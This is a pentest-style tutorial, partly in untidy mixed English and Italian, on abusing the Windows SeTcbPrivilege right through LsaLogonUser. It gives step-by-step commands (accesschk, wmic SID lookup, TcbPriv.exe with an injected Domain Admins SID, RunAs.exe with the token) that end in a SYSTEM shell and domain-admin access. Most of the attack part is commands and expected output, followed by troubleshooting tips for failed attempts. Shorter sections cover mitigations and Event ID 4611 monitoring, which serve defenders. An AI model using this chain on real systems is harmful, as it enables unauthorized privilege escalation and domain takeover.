SeTcbPrivilege: Arbitrary LSA Logon Session to SYSTEM

You have SeTcbPrivilege on a non-system account — critical finding P0, document first . With this privilege, you can create official logon sessions via LSA with arbitrary SIDs, add Domain Admins to the token, and get SYSTEM without depending on any external conditions.

Quick Exploit #

accesschk.exe -a SeTcbPrivilege *
whoami /priv | findstr SeTcb
wmic group where "name='Domain Admins'" get SID

TcbPriv.exe -logontype SERVICE -user "NT AUTHORITY\SYSTEM"
RunAs.exe -token [handle] cmd.exe

Expected output:

nt authority\system

Attack Chain #

SeTcbPrivilege su account non-SYSTEM trovato
  → PRIMO: documenta come finding critico P0
  → wmic group → ottieni SID Domain Admins
  → TcbPriv.exe -logontype SERVICE -user "NT AUTHORITY\SYSTEM" -extra-sid [SID-DA]
  → sessione logon LSA creata con SID Domain Admins incluso
  → RunAs.exe con handle token → shell SYSTEM / accesso NTLM come DA

Tool Decision #

What is SeTcbPrivilege? #

“Act as part of the operating system” — the process with this privilege is treated as part of the Trusted Computing Base (TCB). Unlock LsaLogonUser() with non-standard parameters:

• Create service logon sessions for system accounts without knowing the password
• Adds Arbitrary SIDs to the token during session creation (parameter groups)
• Create sessions with custom LogonTypes that are not normally accessible

Unlike SeCreateTokenPrivilege which uses direct NT syscalls, SeTcbPrivilege works through LSAs — created sessions are considered “official” by the authentication system.

Normally exclusive to: lsass.exe, services.exe, winlogon.exeIf you find it on a non-system account → critical finding to be documented immediately.

When it exists #

In a normal pentest: almost never on non-system accounts. If it appears:

• Serious misconfiguration — assigned in error via policy
• Indicator of prior impairment — backdoor on service account

Verify:

whoami /priv

Looking for:

SeTcbPrivilege    Act as part of the operating system    Enabled

Instant Audit:

accesschk.exe -a SeTcbPrivilege *

Step 1 — Exploit with LsaLogonUser via token-priv #

Use hatRiot's PoC collection. Download it from hatRiot/token-priv :

TcbPriv.exe -logontype SERVICE -user "NT AUTHORITY\SYSTEM"

With additional SIDs — for example Domain Admins (S-1-5-21-[DOMAIN]-512):

TcbPriv.exe -logontype SERVICE -user "NT AUTHORITY\SYSTEM" -extra-sid S-1-5-21-1234567890-1234567890-1234567890-512

Find your domain's Domain Admins SID with:

wmic group where "name='Domain Admins'" get SID

Or in PowerShell:

(Get-ADGroup "Domain Admins").SID.Value

Step 2 — Start process with the created session token #

RunAs.exe -token [handle dalla sessione LsaLogonUser] cmd.exe

Output:

nt authority\system

Difference with SeCreateTokenPrivilege #

In practice, both lead to the same result. The difference is technical: SeTcbPrivilege creates "official" sessions that pass through LSA, while SeCreateTokenPrivilege bypasses LSA entirely.

Event ID to know #

Event ID 4611 — Process registered as a trusted logon process via TCB:

A trusted logon process has been registered with the Local Security Authority.
Subject: [account che ha usato SeTcbPrivilege]
Logon Process Name: [nome del processo]

One alert out of 4611 from non-standard processes (lsass.exe, winlogon.exe) is a critical signal that something abnormal is going on.

Real-world scenarios #

Finding SeTcbPrivilege on a non-SYSTEM account is almost always:

1. Serious misconfiguration — an admin assigned the privilege by mistake (e.g. via a misconfigured policy)
2. Indicator of prior impairment — a previous attacker installed a backdoor on this account

In both cases: document, report as a P0 critical finding, and then exploit.

Common mistakes #

LsaLogonUser → STATUS_PRIVILEGE_NOT_HELD — SeTcbPrivilege not enabled. Verify: whoami /priv | findstr SeTcb.

Additional SIDs do not appear in the resulting token — SeTcbPrivilege is not active. Without TCB, the parameter groups LsaLogonUser is silently ignored — the token is created but without the extra SIDs.

Kerberos network resources block access — PAC validation. The DA SID token works for NTLM and local access. For Kerberos resources, a PTH with real hashes or a Golden Ticket is required.

Detection and bypass (Red Team view) #

When it fails #

• LsaLogonUser → STATUS_PRIVILEGE_NOT_HELD → SeTcbPrivilege not Enabled
• Extra SIDs missing from token → SeTcbPrivilege not active in current token
• Kerberos PAC validation → use NTLM or PTH

Mitigations #

• Never assign SeTcbPrivilege to non-system accounts
• Periodic audit: accesschk.exe -a SeTcbPrivilege *
• Monitor Event ID 4611 for abnormal logon process registrations
• Protected Users for privileged accounts

Realistic note: Finding SeTcbPrivilege on a non-system account in production is almost always a sign of a previous compromise or a misconfigured policy that incorrectly granted the privilege. This is a P0 finding that should be reported immediately—before any exploitation.

FAQ #

Why does lsass.exe have SeTcbPrivilege? To create session tokens during logon. Each login calls LsaLogonUser with SeTcbPrivilege to construct the token with the correct user groups.

Practical difference with SeCreateTokenPrivilege? SeCreateTokenPrivilege uses NtCreateToken (direct syscall, standalone token). SeTcbPrivilege uses LsaLogonUser (via LSA, official session). In practice, both lead to the same result—the distinction is technical.

Will I ever see this on non-system accounts in a pentest? Rarely. If you do, it's an immediate P0.

SeTcbPrivilege on a non-system account = previous compromise or critical misconfiguration. Always document before exploiting.

Related articles:

• SeCreateTokenPrivilege — token forgery via direct syscall
• SeImpersonatePrivilege — reactive token capture, much more common

References: token-priv PoC · Microsoft Docs